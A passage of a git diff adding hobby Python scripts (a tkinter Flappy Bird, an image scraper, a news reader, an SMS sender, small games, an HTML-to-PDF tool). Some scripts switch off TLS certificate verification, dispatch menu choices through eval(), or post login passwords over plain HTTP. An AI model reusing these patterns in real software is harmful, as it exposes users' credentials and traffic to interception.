15 + + # Eventos + bird_event = "" + window_fullscreen_event = "" + window_start_event = "" + window_exit_event = "" + + # Caminhos de arquivos + background_fp = "Images/background.png" + bird_fp = "Images/bird.png" + startButton_fp = "Images/start_button.png" + exitButton_fp = "Images/exit_button.png" + tube_fp = ["Images/tube.png", "Images/tube_mouth.png"] + title_fp = "Images/title.png" + scoreboard_fp = "Images/scoreboard.png" + score_fp = "Data/scr.txt" + settings_fp = "Data/settings.json" + + # Configurações de animação + background_animation = True + + # Junta todos os diretórios em uma lista + images_fp = [ + background_fp, + bird_fp, + startButton_fp, + exitButton_fp, + tube_fp[0], + tube_fp[1], + title_fp, + ] + + def setOptions(self): + """ + Método para receber algumas configurações do jogo de um arquivo .json. + Caso o arquivo não exista, será criado um com as configurações padrões. + """ + + # Alguns atributos que podem ser alterados + attributes = "window_fullscreen,window_width,window_height".split(",") + + # Tenta abrir o arquivo parar leitura + try: + file = open(self.settings_fp, "r") + data = loads(file.read()) + file.close() + + # Define os atributos com os valores obtidos do arquivo desde que sejam + # referentes à eventos ou estejam na lista de atributos permitidos. + + for attr in data: + if "event" in attr or attr in attributes: + setattr(Settings, attr, data[attr]) + + # Caso não exista um arquivo para obter as configurações, ele será criado + except BaseException: + # Caso não exista o diretório, o mesmo será criado. + if not os.path.exists(os.path.split(self.settings_fp)[0]): + os.mkdir(os.path.split(self.settings_fp)[0]) + + file = open(self.settings_fp, "w") + + data = dict() + + # Armazena no arquivo atributos com seus valores padrões desde que sejam + # referentes à eventos ou estejam na lista de atributos permitidos. + + for attr in Settings.__dict__: + if "event" in attr or attr in attributes: + data[attr] = Settings.__dict__[attr] + + # Coloca as informações no arquivo e o fecha + file.write(dumps(data, indent=2)) + file.close() diff --git a/Flappy Bird - created with tkinter/Tubes.py b/Flappy Bird - created with tkinter/Tubes.py new file mode 100644 index 00000000000..fa69fd0326f --- /dev/null +++ b/Flappy Bird - created with tkinter/Tubes.py @@ -0,0 +1,330 @@ +from random import randint +from threading import Thread + +from Background import Background +from Bird import Bird +from PIL.Image import open as openImage +from PIL.ImageTk import PhotoImage + + +class Tubes(Thread): + """ + Classe para criar tubos + """ + + __distance = 0 + __move = 10 + __pastTubes = [] + + def __init__( + self, + background, + bird, + score_function=None, + *screen_geometry, + fp=("tube.png", "tube_mourth"), + animation_speed=50, + ): + # Verifica os parâmetros passados e lança um erro caso algo esteja incorreto + if not isinstance(background, Background): + raise TypeError( + "The background argument must be an instance of Background." + ) + if not len(fp) == 2: + raise TypeError( + "The parameter fp should be a sequence containing the path of the images of the tube body and the tube mouth." + ) + if not isinstance(bird, Bird): + raise TypeError("The birdargument must be an instance of Bird.") + if not callable(score_function): + raise TypeError("The score_function argument must be a callable object.") + + Thread.__init__(self) + + # Instância os parâmetros + self.__background = background + self.image_path = fp + self.__animation_speed = animation_speed + self.__score_method = score_function + + # Recebe a largura e altura do background + self.__width = screen_geometry[0] + self.__height = screen_geometry[1] + + # Recebe o tamanho do pássaro + self.__bird_w = bird.width + self.__bird_h = bird.height + + # Calcula a largura e altura da imagem + self.__imageWidth = (self.__width // 100) * 10 + self.__imageHeight = (self.__height // 100) * 5 + + # Cria uma lista para guardar imagens dos tubos + try: + self.deleteAll() + except BaseException: + self.__background.tubeImages = [] + + # Cria uma lista somente para guardar as imagens futuras dos corpos dos tubos gerados + self.__background.tubeImages.append([]) + + # Carrega a imagem da boca do tubo + self.__background.tubeImages.append( + self.getPhotoImage( + image_path=self.image_path[1], + width=self.__imageWidth, + height=self.__imageHeight, + closeAfter=True, + )[0] + ) + + # Carrega imagem do corpo do tubo + self.__background.tubeImages.append( + self.getPhotoImage( + image_path=self.image_path[0], + width=self.__imageWidth, + height=self.__imageHeight, + )[1] + ) + + # Calcula a distância mínima inicial entre os tubos + self.__minDistance = int(self.__imageWidth * 4.5) + + self.__stop = False + self.__tubes = [] + + def createNewTubes(self): + """ + Método para criar 2 novos tubos (baixo e cima) numa mesma posição X + """ + + # Cria uma lista para armazenar as partes do corpo do tubo de cima + tube1 = [] + + # Define a posição X que o tubo de cima aparecerá inicialmente no background + width = self.__width + (self.__imageWidth) + + # Define uma posição Y para o tubo aleatóriamente respeitando algumas regras que são: + # Espaço para o pássaro passar e espaço para adicionar o tubo de baixo. + + height = randint( + self.__imageHeight // 2, + self.__height - (self.__bird_h * 2) - self.__imageHeight, + ) + + # Cria e adiciona à lista do corpo do tubo de cima, a boca do tubo + tube1.append( + self.__background.create_image( + width, height, image=self.__background.tubeImages[1] + ) + ) + + # Cria uma nova imagem na lista de imagens com a altura sendo igual a posição Y do tubo de cima + self.__background.tubeImages[0].append( + [ + self.getPhotoImage( + image=self.__background.tubeImages[2], + width=self.__imageWidth, + height=height, + )[0], + ] + ) + + # Define a posição Y do corpo do tubo de cima + y = (height // 2) + 1 - (self.__imageHeight // 2) + + # Cria e adiciona à lista do corpo do tubo de cima, o corpo do tubo + tube1.append( + self.__background.create_image( + width, y, image=self.__background.tubeImages[0][-1][0] + ) + ) + + ############################################################################################################### + ############################################################################################################### + + # Cria uma lista para armazenar as partes do corpo do tubo de baixo + tube2 = [] + + # A posição Y do tubo de baixo é calculada com base na posição do tubo de cima, mais o tamanho do pássaro + height = height + (self.__bird_h * 2) + self.__imageHeight - 1 + + # Cria e adiciona à lista do corpo do tubo de baixo, a boca do tubo + tube2.append( + self.__background.create_image( + width, height, image=self.__background.tubeImages[1] + ) + ) + + # Define a altura da imagem do corpo do tubo de baixo + height = self.__height - height + + # Cria uma nova imagem na lista de imagens com a altura sendo igual a posição Y do tubo de baixo + self.__background.tubeImages[0][-1].append( + self.getPhotoImage( + image=self.__background.tubeImages[2], + width=self.__imageWidth, + height=height, + )[0] + ) + + # Define a posição Y do corpo do tubo de baixo + y = (self.__height - (height // 2)) + self.__imageHeight // 2 + + # Cria e adiciona à lista do corpo do tubo de baixo, o corpo do tubo + tube2.append( + self.__background.create_image( + width, y, image=self.__background.tubeImages[0][-1][1] + ) + ) + + # Adiciona à lista de tubos os tubos de cima e de baixo da posição X + self.__tubes.append([tube1, tube2]) + + # Define a distância como sendo ZERO + self.__distance = 0 + + def deleteAll(self): + """ + Método para deletar todos os tubos gerados + """ + + # Deleta os tubos gerados no background + for tubes in self.__tubes: + for tube in tubes: + for body in tube: + self.__background.delete(body) + + self.__background.clear() + self.__background.tubeImages.clear() + + @staticmethod + def getPhotoImage( + image=None, image_path=None, width=None, height=None, closeAfter=False + ): + """ + Retorna um objeto da classe PIL.ImageTk.PhotoImage de uma imagem e as imagens criadas de PIL.Image + (photoImage, new, original) + + @param image: Instância de PIL.Image.open + @param image_path: Diretório da imagem + @param width: Largura da imagem + @param height: Altura da imagem + @param closeAfter: Se True, a imagem será fechada após ser criado um PhotoImage da mesma + """ + + if not image: + if not image_path: + return + + # Abre a imagem utilizando o caminho dela + image = openImage(image_path) + + # Será redimesionada a imagem somente se existir um width ou height + if not width: + width = image.width + if not height: + height = image.height + + # Cria uma nova imagem já redimensionada + newImage = image.resize([width, height]) + + # Cria um photoImage + photoImage = PhotoImage(newImage) + + # Se closeAfter for True, ele fecha as imagens + if closeAfter: + # Fecha a imagem nova + newImage.close() + newImage = None + + # Fecha a imagem original + image.close() + image = None + + # Retorna o PhotoImage da imagem,a nova imagem que foi utilizada e a imagem original + return photoImage, newImage, image + + def move(self): + """ + Método para mover todos os tubos + """ + + # Cria uma variável auxilar para checar se o método de pontuar foi executado + scored = False + + # Move os tubos gerados no background + for tubes in self.__tubes: + for tube in tubes: + # Verifica se o pássaro passou do tubo. Caso sim, o método para pontuar será executado + if not scored: + # Recebe a posição do cano + x2 = self.__background.bbox(tube[0])[2] + + # Se a posição "x2" do tubo for menor que a posição "x1" do pássaro e se ainda não tiver sido + # pontuado este mesmo cano, o método para pontuar será chamado. + + if (self.__width / 2) - (self.__bird_w / 2) - self.__move < x2: + if x2 <= (self.__width / 2) - (self.__bird_w / 2): + # Verifica se o tubo está na lista de tubos passados + if tube[0] not in self.__pastTubes: + # Chama o método para pontuar e adiciona o tubo pontuado à lista de tubos passados + self.__score_method() + self.__pastTubes.append(tube[0]) + scored = True + + # Move cada parte do copo do tubo no background + for body in tube: + self.__background.move(body, -self.__move, 0) + + def run(self): + """ + Método para gerar os tubos no background e fazer a sua animação em um loop infinito + """ + + # Se o método "stop" tiver sido chamado, a animação será encerrada + if self.__stop: + return + + # Se os tubos ( cima e baixo ) de uma posição X tiverem sumido da área do background, + # eles serão apagados juntamente com suas imagens e todos os seus dados. + + if ( + len(self.__tubes) >= 1 + and self.__background.bbox(self.__tubes[0][0][0])[2] <= 0 + ): + # Apaga todo o corpo do tubo dentro do background + for tube in self.__tubes[0]: + for body in tube: + self.__background.delete(body) + + # Remove os tubos ( cima e baixo ) da lista de tubos + self.__background.tubeImages[0].remove(self.__background.tubeImages[0][0]) + + # Remove a imagem do corpo do tubo da lista de imagens + self.__tubes.remove(self.__tubes[0]) + + # Remove o primeiro objeto da lista de tubos passados + self.__pastTubes.remove(self.__pastTubes[0]) + + # Se a distancia entre o último tubo criado e o lado "x2" do background for maior que a distância + # mínima estabelecida, então um novo tubo será criado. + + if self.__distance >= self.__minDistance: + self.createNewTubes() + else: + # Aumenta a distancia conforme os tubos se movem + self.__distance += self.__move + + # Move os tubos + self.move() + + # Executa novamente o método em um determinado tempo + self.__background.after(self.__animation_speed, self.run) + + def stop(self): + """ + Método para interromper a Thread + """ + + self.__stop = True diff --git a/Generate a random number between 0 to 9.py b/Generate a random number between 0 to 9.py new file mode 100644 index 00000000000..c304fa85b1d --- /dev/null +++ b/Generate a random number between 0 to 9.py @@ -0,0 +1,6 @@ +# Program to generate a random number between 0 and 9 + +# importing the random module +import random + +print(random.randint(0, 9)) diff --git a/Google_Image_Downloader/create_dir.py b/Google_Image_Downloader/create_dir.py new file mode 100644 index 00000000000..0734f836802 --- /dev/null +++ b/Google_Image_Downloader/create_dir.py @@ -0,0 +1,66 @@ +""" +Code to directly use in file to +create directory in home location + +Note:- I Have used python package so if you want +to create in the main directory of your project use +pardir+"\\"+name in functions + +All the folder operations are done on home +project directory. +""" + +from os import chdir +from os import makedirs +from os import removedirs +from os import rename +from os.path import exists +from os.path import pardir +from shutil import copytree +from shutil import move + + +# Creates a directory +def create_directory(name): + if exists(pardir + "\\" + name): + print("Folder already exists... Cannot Overwrite this") + else: + makedirs(pardir + "\\" + name) + + +# Deletes a directory +def delete_directory(name): + removedirs(name) + + +# Rename a directory +def rename_directory(direct, name): + rename(direct, name) + + +# Sets the working directory +def set_working_directory(): + chdir(pardir) + + +# Backup the folder tree +def backup_files(name_dir, folder): + copytree(pardir, name_dir + ":\\" + folder) + + +# Move folder to specific location +# Overwrites the file if it already exists +def move_folder(filename, name_dir, folder): + if not exists(name_dir + ":\\" + folder): + makedirs(name_dir + ":\\" + folder) + move(filename, name_dir + ":\\" + folder + "\\") + + +""" +For test purpose: + 1. create_directory("test") + 2. rename_directory("test","demo") + 3. delete_directory("demo") + 4. backup_files('D', 'backup_project') + 5. move_folder(pardir+'\\'+'test.txt', 'D', 'name') +""" diff --git a/Google_Image_Downloader/image_grapper.py b/Google_Image_Downloader/image_grapper.py new file mode 100644 index 00000000000..d42f4a3ac86 --- /dev/null +++ b/Google_Image_Downloader/image_grapper.py @@ -0,0 +1,180 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- +# importing required libraries +import json +from os import chdir, system +from os import walk +from os.path import curdir +from os.path import pardir +from urllib.parse import urlencode +from urllib.request import urlopen, Request + +import requests +import ssl +from bs4 import BeautifulSoup +from create_dir import create_directory + + +ssl._create_default_https_context = ssl._create_unverified_context + +GOOGLE_IMAGE = ( + "https://www.google.com/search?site=&tbm=isch&source=hp&biw=1873&bih=990&" +) +WALLPAPERS_KRAFT = "https://wallpaperscraft.com/search/keywords?" +usr_agent = { + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.3", + "Accept-Encoding": "none", + "Accept-Language": "en-US,en;q=0.8", + "Connection": "keep-alive", +} + +FX = { + 1: "search_for_image", + 2: "download_wallpapers_1080p", + 3: "view_images_directory", + 4: "set_directory", + 5: "quit", +} + + +# Download images from google images + + +def search_for_image(): + print("Enter data to download Images: ") + data = input() + search_query = {"q": data} + search = urlencode(search_query) + print(search) + g = GOOGLE_IMAGE + search + request = Request(g, headers=usr_agent) + r = urlopen(request).read() + sew = BeautifulSoup(r, "html.parser") + images = [] + + # print(sew.prettify()) + + results = sew.findAll("div", {"class": "rg_meta"}) + for re in results: + (link, Type) = (json.loads(re.text)["ou"], json.loads(re.text)["ity"]) + images.append(link) + counter = 0 + for re in images: + rs = requests.get(re) + with open("img" + str(counter) + ".jpg", "wb") as file: + file.write(rs.content) + + # urlretrieve(re, 'img' + str(count) + '.jpg') + + counter += 1 + return True + + +def download_wallpapers_1080p(): + cont = set() # Stores the links of images + temp = set() # Refines the links to download images + + print("Enter data to download wallpapers: ") + data = input() + search_query = {"q": data} + search = urlencode(search_query) + print(search) + g = WALLPAPERS_KRAFT + search + request = Request(g, headers=usr_agent) + r = urlopen(request).read() + sew = BeautifulSoup(r, "html.parser") + count = 0 + for links in sew.find_all("a"): + if "wallpaperscraft.com/download" in links.get("href"): + cont.add(links.get("href")) + for re in cont: + # print all valid links + # print('https://wallpaperscraft.com/image/' + re[31:-10] + '_' + re[-9:] + '.jpg') + + temp.add( + "https://wallpaperscraft.com/image/" + re[31:-10] + "_" + re[-9:] + ".jpg" + ) + + # Goes to Each link and downloads high resolution images + + for re in temp: + rs = requests.get(re) + with open("img" + str(count) + ".jpg", "wb") as file: + file.write(rs.content) + + # urlretrieve(re, 'img' + str(count) + '.jpg') + + count += 1 + + return True + + +################### +def view_images_directory(): + for folders, subfolder, files in walk(curdir): + for folder in subfolder: + print(folder) + return True + + +############# +def set_directory(): + print("Enter the directory to be set: ") + data = input() + chdir(data + ":\\") + print("Enter name for the folder: ") + data = input() + create_directory(data) + return True + + +############## +def quit(): + print( + """ +-------------------------***Thank You For Using***------------------------- + """ + ) + return False + + +run = True + +print( + """ +***********[First Creating Folder To Save Your Images}*********** + """ +) + +create_directory("Images") +DEFAULT_DIRECTORY = pardir + "\\Images" +chdir(DEFAULT_DIRECTORY) +count = 0 +while run: + print( + """ +-------------------------WELCOME------------------------- + 1. Search for image + 2. Download Wallpapers 1080p + 3. View Images in your directory + 4. Set directory + 5. Exit +-------------------------*******------------------------- + """ + ) + choice = input() + try: + # Via eval() let `str expression` to `function` + fx = eval(FX[int(choice)]) + run = fx() + except KeyError: + system("clear") + if count <= 5: + count += 1 + print("----------enter proper key-------------") + else: + system("clear") + print("You have attempted 5 times , try again later") + run = False diff --git a/Google_News.py b/Google_News.py new file mode 100644 index 00000000000..c63ffacaaab --- /dev/null +++ b/Google_News.py @@ -0,0 +1,39 @@ +import ssl +from urllib.request import urlopen + +from bs4 import BeautifulSoup as soup + + +def news(xml_news_url, counter): + """Print select details from a html response containing xml + @param xml_news_url: url to parse + """ + + context = ssl._create_unverified_context() + Client = urlopen(xml_news_url, context=context) + xml_page = Client.read() + Client.close() + + soup_page = soup(xml_page, "xml") + + news_list = soup_page.findAll("item") + i = 0 # counter to print n number of news items + + for news in news_list: + print(f"news title: {news.title.text}") # to print title of the news + print(f"news link: {news.link.text}") # to print link of the news + print(f"news pubDate: {news.pubDate.text}") # to print published date + print("+-" * 20, "\n\n") + + if i == counter: + break + i = i + 1 + + +# you can add google news 'xml' URL here for any country/category +news_url = "https://news.google.com/news/rss/?ned=us&gl=US&hl=en" +sports_url = "https://news.google.com/news/rss/headlines/section/topic/SPORTS.en_in/Sports?ned=in&hl=en-IN&gl=IN" + +# now call news function with any of these url or BOTH +news(news_url, 10) +news(sports_url, 5) diff --git a/Gregorian_Calendar.py b/Gregorian_Calendar.py new file mode 100644 index 00000000000..64c7d2a1a27 --- /dev/null +++ b/Gregorian_Calendar.py @@ -0,0 +1,25 @@ +# An extra day is added to the calendar almost every four years as February 29, and the day is called a leap day. It corrects the calendar for the fact that our planet takes approximately 365.25 days to orbit the sun. A leap year contains a leap day. + +# In the Gregorian calendar, three conditions are used to identify leap years: + +# The year can be evenly divided by 4, is a leap year, unless: +# The year can be evenly divided by 100, it is NOT a leap year, unless: +# The year is also evenly divisible by 400. Then it is a leap year. +# This means that in the Gregorian calendar, the years 2000 and 2400 are leap years, while 1800, 1900, 2100, 2200, 2300 and 2500 are NOT leap years. + + +def is_leap(year): + leap = False + if year % 4 == 0: + leap = True + if year % 100 == 0: + leap = False + if year % 400 == 0: + leap = True + return leap + + +year = int(input("Enter the year here: ")) +print(is_leap(year)) + +# If the given year is a leap year it outputs True else False diff --git a/Grocery calculator.py b/Grocery calculator.py new file mode 100644 index 00000000000..42adbb7cd74 --- /dev/null +++ b/Grocery calculator.py @@ -0,0 +1,64 @@ +"""This will be a Python script that functions as a grocery calculator. It will take in key-value pairs for items +and their prices, and return the subtotal and total, and can print out the list for you for when you're ready to +take it to the store!""" + +"""Algorithm: +1. User enters key-value pairs that are added into a dict. +2. Users tells script to return total, subtotal, and key-value pairs in a nicely formatted list.""" + + +# Object = GroceryList +# Methods = addToList, Total, Subtotal, returnList +class GroceryList(dict): + def __init__(self): + self = {} + + def addToList(self, item, price): + self.update({item: price}) + + def Total(self): + total = 0 + for items in self: + total += (self[items]) * 0.07 + (self[items]) + return total + + def Subtotal(self): + subtotal = 0 + for items in self: + subtotal += self[items] + return subtotal + + def returnList(self): + return self + + +"""Test list should return: +Total = 10.70 +Subtotal = 10 +returnList = {"milk":4, "eggs":3, "kombucha":3} +""" +List1 = GroceryList() + +List1.addToList("milk", 4) +List1.addToList("eggs", 3) +List1.addToList("kombucha", 3) + + +print(List1.Total()) +print(List1.Subtotal()) +print(List1.returnList()) + +# ***************************************************** +print() +# ***************************************************** + + +List2 = GroceryList() + +List2.addToList("cheese", 7.49) +List2.addToList("wine", 25.36) +List2.addToList("steak", 17.64) + +print(List2.Total()) +print(List2.Subtotal()) +print(List2.returnList()) diff --git a/GroupSms_Way2.py b/GroupSms_Way2.py new file mode 100644 index 00000000000..04f9f562249 --- /dev/null +++ b/GroupSms_Way2.py @@ -0,0 +1,64 @@ +from __future__ import print_function + +import sys +from getpass import getpass + +import cookielib +import urllib2 + +try: + input = raw_input +except NameError: + pass + +username = input("Enter mobile number:") +passwd = getpass() +message = input("Enter Message:") +# Fill the list with Recipients +x = input("Enter Mobile numbers seperated with comma:") +num = x.split(",") +message = "+".join(message.split(" ")) + +# Logging into the SMS Site +url = "http://site24.way2sms.com/Login1.action?" +data = "username={0}&password={1}&Submit=Sign+in".format(username, passwd) + +# For Cookies: +cj = cookielib.CookieJar() +opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) + +# Adding Header detail: +opener.addheaders = [ + ( + "User-Agent", + "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 " + "Safari/537.36", + ) +] + +try: + usock = opener.open(url, data) +except IOError: + print("Error while logging in.") + sys.exit(1) + +jession_id = str(cj).split("~")[1].split(" ")[0] +send_sms_url = "http://site24.way2sms.com/smstoss.action?" + +opener.addheaders = [ + ("Referer", "http://site25.way2sms.com/sendSMS?Token=%s" % jession_id) +] + +try: + for number in num: + send_sms_data = ( + "ssaction=ss&Token={0}&mobile={1}&message={2}&msgLen=136".format( + jession_id, number, message + ) + ) + sms_sent_page = opener.open(send_sms_url, send_sms_data) +except IOError: + print("Error while sending message") + +print("SMS has been sent.") +sys.exit(1) diff --git a/Guess_the_number_game.py b/Guess_the_number_game.py new file mode 100644 index 00000000000..c045faa3c7b --- /dev/null +++ b/Guess_the_number_game.py @@ -0,0 +1,42 @@ +# using codeSkulpter + +import random + +import simplegui + + +def new_game(): + global num + print("new game starts") + + +def range_of_100(): + global num + num = random.randrange(0, 100) + print("your range is 0-100") + + +def range_of_1000(): + global num + num = random.randrange(0, 1000) + print("Your range is 0-1000") + + +def input_guess(guess): + global num + print("Your Guess is ", guess) + num1 = int(guess) + if num1 == num: + print("Correct") + elif num1 >= num: + print("Greater") + elif num1 <= num: + print("Lower") + + +frame = simplegui.create_frame("Guess The Number", 200, 200) +frame.add_button("range[0-1000)", range_of_1000) +frame.add_button("range[0-100)", range_of_100) +frame.add_input("enter your guess", input_guess, 200) +frame.start() +new_game() diff --git a/Guessing_Game.py b/Guessing_Game.py new file mode 100644 index 00000000000..aaeb895384b --- /dev/null +++ b/Guessing_Game.py @@ -0,0 +1,109 @@ +from random import randint +from time import sleep + + +def guessing_game(GUESS_RANGE, GUESS_LIMIT): + # Set the initial values. + RANDOM = randint(1, GUESS_RANGE) + GUESS = int(input("What is your guess? ")) + ATTEMPTS_ALLOWED = GUESS_LIMIT + done = False + + # Validate the inputted guess. + GUESS = InputValidation(GUESS, GUESS_RANGE) + + # Now we have a valid guess. + while GUESS_LIMIT > 0 and not done: + GUESS_LIMIT -= 1 # Take one guess = lose one chance + if GUESS_LIMIT > 0: + if GUESS < RANDOM: + print(f"It should be higher than {GUESS}.") + elif GUESS > RANDOM: + print(f"It should be lower than {GUESS}.") + else: + ATTEMPTS_TOOK = ATTEMPTS_ALLOWED - GUESS_LIMIT + print(f"You nailed it! And it only took you {ATTEMPTS_TOOK} attempts.") + done = True + if GUESS_LIMIT > 0 and not done: + print(f"You still have {GUESS_LIMIT} chances left.\n") + GUESS = int(input("Try a new guess: ")) + # Another input validation loop. + GUESS = InputValidation(GUESS, GUESS_RANGE) + elif GUESS_LIMIT == 0 and not done: # Last chance to guess + if GUESS == RANDOM: + print( + f"You nailed it! However, it took you all the {ATTEMPTS_ALLOWED} attempts." + ) + else: + print( + f"GAME OVER! It took you more than {ATTEMPTS_ALLOWED} attempts. " + f"The correct number is {RANDOM}." + ) + + +def InputValidation(GUESS, GUESS_RANGE): + while not 1 <= GUESS <= GUESS_RANGE: + print("TRY AGAIN! Your guess is out of range!\n") + GUESS = int(input("What is your guess? ")) + return GUESS + + +def easy(): + print("You are to guess a number between 1 and 10 in no more than 6 attempts.") + guessing_game(10, 6) + + +def medium(): + print("You are to guess a number between 1 and 20 in no more than 4 attempts.") + guessing_game(20, 4) + + +def hard(): + print("You are to guess a number between 1 and 50 in no more than 3 attempts.") + guessing_game(50, 3) + + +def try_again(): + print() + again = input("Do you want to play again? (yes/no) ") + if again.lower() in ["y", "yes"]: + welcome() + elif again.lower() in ["n", "no"]: + print("Thanks for playing the game") + else: + print("INVALID VALUE") + try_again() + + +def welcome(): + print("Hello, Welcome to the Guessing Game!") + name = input("I'm Geek! What's Your Name? ") + sleep(1) + + print(f"Okay, {name}. Let's Begin The Guessing Game!") + print( + "Choose a level:", + "1. Easy", + "2. Medium", + "3. Hard", + sep="\n", + ) + sleep(1) + level = int(input("Pick a number: ")) + print() + sleep(1) + if level == 1: + easy() + try_again() + elif level == 2: + medium() + try_again() + elif level == 3: + hard() + try_again() + else: + print("INVALID VALUE! Please try again.\n") + welcome() + + +welcome() diff --git a/HTML_to_PDF/index.html b/HTML_to_PDF/index.html new file mode 100644 index 00000000000..6b39d63cb2d --- /dev/null +++ b/HTML_to_PDF/index.html @@ -0,0 +1,221 @@ + + + + + + HTML to PDF Test Page + + + + + +
+ 📄 This page is created for testing HTML to PDF conversion! +
+ +
+
+

HTML to PDF Test

+ +
+
+ +
+
+

Welcome!

+

This is a test page designed to check HTML to PDF conversion.

+
+ ⚡ This section highlights that we are testing the ability to convert HTML pages into PDF format. +
+
+ +
+

About This Test

+

This page includes various HTML elements to check how they appear in the converted PDF.

+
+ +
+

Elements to Test

+
    +
  • Headings & Paragraphs
  • +
  • Navigation & Links
  • +
  • Lists & Bullet Points
  • +
  • Background Colors & Styling
  • +
  • Margins & Spacing
  • +
+
+ +
+

Need Help?

+

For any issues with the HTML to PDF conversion, contact us at: info@example.com

+
+
+ +
+

© 2025 HTML to PDF Test Page. All rights reserved.

+
+ + + diff --git a/HTML_to_PDF/main.py b/HTML_to_PDF/main.py new file mode 100644 index 00000000000..5211ee325b3 --- /dev/null +++ b/HTML_to_PDF/main.py @@ -0,0 +1,37 @@ +import pdfkit +import os + +# Download wkhtmltopdf from https://wkhtmltopdf.org/downloads.html +# Set the path to the wkhtmltopdf executable + +wkhtmltopdf_path = r"C:\Program Files\wkhtmltopdf\bin\wkhtmltopdf.exe" + +# Configure pdfkit to use wkhtmltopdf +config = pdfkit.configuration(wkhtmltopdf=wkhtmltopdf_path) + +# Path of HTML and PDF files +path = os.getcwd() +htmlFile = f"{path}\\index.html" +pdfFile = f"{path}\\output.pdf" + +# Adding PDF Options for customized view +options = { + "page-size": "A4", + "margin-top": "0.75in", + "margin-right": "0.75in", + "margin-bottom": "0.75in", + "margin-left": "0.75in", + "encoding": "UTF-8", + "no-outline": None, +} + +# Check if the HTML file exists before proceeding +if not os.path.exists(htmlFile): + print(f"HTML file does not exist at: {htmlFile}") +else: + try: + # Convert HTML to PDF + pdfkit.from_file(htmlFile, pdfFile, configuration=config, options=options) + print(f"Successfully converted HTML to PDF: {pdfFile}") + except Exception as e: + print(f"An error occurred: {e}") diff --git a/HTML_to_PDF/output.pdf b/HTML_to_PDF/output.pdf new file mode 100644 index 00000000000..8d8f56439f2 Binary files /dev/null and b/HTML_to_PDF/output.pdf differ diff --git a/Hand-Motion-Detection/hand_motion_recognizer.py b/Hand-Motion-Detection/hand_motion_recognizer.py new file mode 100644 index 00000000000..4b4fd588dba --- /dev/null +++ b/Hand-Motion-Detection/hand_motion_recognizer.py @@ -0,0 +1,55 @@ +import mediapipe as mp +import cv2 + +mp_drawing = mp.solutions.drawing_utils +mp_hands = mp.solutions.hands + +cap = cv2.VideoCapture(0) + +with mp_hands.Hands(min_detection_confidence=0.8, min_tracking_confidence=0.5) as hands: + while cap.isOpened(): + ret, frame = cap.read() + + # BGR 2 RGB + image = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) + + # Flip on horizontal + image = cv2.flip(image, 1) + + # Set flag + image.flags.writeable = False + + # Detections + results = hands.process(image) + + # Set flag to true + image.flags.writeable = True + + # RGB 2 BGR + image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR) + + # Detections + print(results) + + # Rendering results + if results.multi_hand_landmarks: + for num, hand in enumerate(results.multi_hand_landmarks): + mp_drawing.draw_landmarks( + image, + hand, + mp_hands.HAND_CONNECTIONS, + mp_drawing.DrawingSpec( + color=(121, 22, 76), thickness=2, circle_radius=4 + ), + mp_drawing.DrawingSpec( + color=(250, 44, 250), thickness=2, circle_radius=2 + ), + ) + + cv2.imshow("Hand Tracking", image) + + if cv2.waitKey(10) & 0xFF == ord("q"): + break + +cap.release() +cv2.destroyAllWindows() diff --git a/Hand-Motion-Detection/requirements.txt b/Hand-Motion-Detection/requirements.txt new file mode 100644 index 00000000000..0c854442df6 --- /dev/null +++ b/Hand-Motion-Detection/requirements.txt @@ -0,0 +1,3 @@ +numpy==2.3.4 +opencv_python==4.12.0.88 +mediapipe==0.10.21 diff --git a/HangMan Game.py b/HangMan Game.py new file mode 100644 index 00000000000..7811963553a --- /dev/null +++ b/HangMan Game.py @@ -0,0 +1,91 @@ +# Program for HangMan Game. +import random +import HangMan_Includes as incl + +while True: + chances = 6 + inp_lst = [] + result_lst = [] + name = random.choice(incl.names).upper() + # print(name) + [result_lst.append("__ ") for i in range(len(name))] + result_str = str().join(result_lst) + + print(f"\nYou have to Guess a Human Name of {len(name)} Alphabets:\t{result_str}") + print(incl.draw[0]) + + while True: + if result_str.replace(" ", "") == name: + print( + f"\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Correct Answer: {name} ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" + ) + print(incl.won + "\a") + break + inp = input("\nGuess an Alphabet or a Sequence of Alphabets: ").upper() + + if inp in inp_lst: + print( + "......................................................................Already Tried" + ) + continue + else: + inp_lst.append(inp) + + t = 0 + indx = [] + if inp in name: + temp = name + while temp != "": + if inp in temp: + indx.append(t + temp.index(inp)) + t = temp.index(inp) + 1 + temp = temp[t:] + else: + break + + for j in range(len(indx)): + for i in range(len(inp)): + result_lst[indx[j]] = inp[i] + " " + indx[j] += 1 + i += 1 + + result_str = str().join(result_lst) + print( + "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Excellent~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" + ) + print( + f"\nYou have to Guess a Human Name of {len(name)} Alphabets:\t{result_str}\n" + ) + print("Tried Inputs:", tuple(sorted(set(inp_lst)))) + + else: + print( + "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Try Again!!!~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" + ) + print( + f"\nYou have to Guess a Human Name of {len(name)} Alphabets:\t{result_str}\n" + ) + print(incl.draw[chances]) + chances = chances - 1 + + if chances != 0: + print("Tried Inputs:", tuple(sorted(set(inp_lst)))) + print( + f"\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~You were left with {chances} Chances~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" + ) + else: + print( + 